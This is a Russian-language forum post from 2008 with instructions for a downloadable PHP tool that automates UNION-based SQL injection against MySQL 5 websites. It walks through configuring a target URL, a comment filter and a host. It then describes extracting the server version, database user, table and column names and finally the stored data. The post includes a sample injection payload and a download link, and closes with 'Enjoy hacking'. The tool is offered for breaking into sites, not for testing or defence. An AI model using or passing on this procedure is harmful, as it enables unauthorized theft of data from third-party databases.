    2. source_url.txt - файл инициализация URL, при котором можно получить SQL-inject (в этой версии предполагается, что количество колонок вы уже подобрали сами самостоятельно и вам лишь следует скопирвать нужный URL в этот файл и заменить номер принтабельной колонки (одной) на символ "№"). Например: http://www.sait.ru/index.php?id=1+union+select+1,№

    3. source_filtr.txt - файл инициализации фильтра (/*,-- или просто пусто)

    4. source_host.txt - файл инициализации взламываемого хоста. Если посмотреть выше - то www.sait.ru

    5. После того, как вы занесли заполнили эти два файла (обязательное условие для корректной работы программы), можете запускать саму программу mysql5tool.exe. Она автоматически выяснит и сохранит без вашего участия в файл output.txt следующие параметры:
    1) Точная версия MySQL
    2) Имя базы
    3) Пользователь базы
    4) Кол-во таблиц в information_schema.TABLES
    5) Список таблиц из information_schema.TABLES

    6. После того, как вы получили список таблиц из information_schema, вы можете получить список полей интересующей вас таблицы, для этого вам надо заполнить файл source_table.txt - а именно просто внести туда название интересующей вас таблицы. И снова запустить mysql5tool.exe. Будет выяснен список всех полей интересующей вас таблицы и сохранен также в файл output.txt

    7. Когда вы узнали список полей интересующей вас таблички, вы можете получить данные по интересующим вас только что узнанным полям (т.е. сама суть SQL-inj). Для это вам просто надо надо занести список интересующих Вас полей (не больше 3-х за раз) в файл source_column.txt, можно заносить как одно поле, так и несколько. Несколько полей заносятся просто через запятую и без пробелов. Чтобы получить информацию - запустите снова mysql5tool.exe. Данные будут выведены на экран и также сохранены в файл output.txt


    Программа написана на чистом PHP

    Приятного хакинга:)

    Example: http://www.site.org/index.php?id=1+union+select+1,version()/*
    source_url.txt: "http://www.site.org/index.php?id=1+union+select+1,№"
    source_host.txt: "www.site.org"
    source_filtr.txt: "/*"
    source_table.txt: ""
    source_column.txt: ""

    Скачать здесь http://pashkela.narod.ru/progi/MySQL5tool.rar (пароль 123)

    (с) Pashkela

    Final version 08.09.2008
     
    #420 Pashkela, 3 Sep 2008
    Last edited: 8 Sep 2008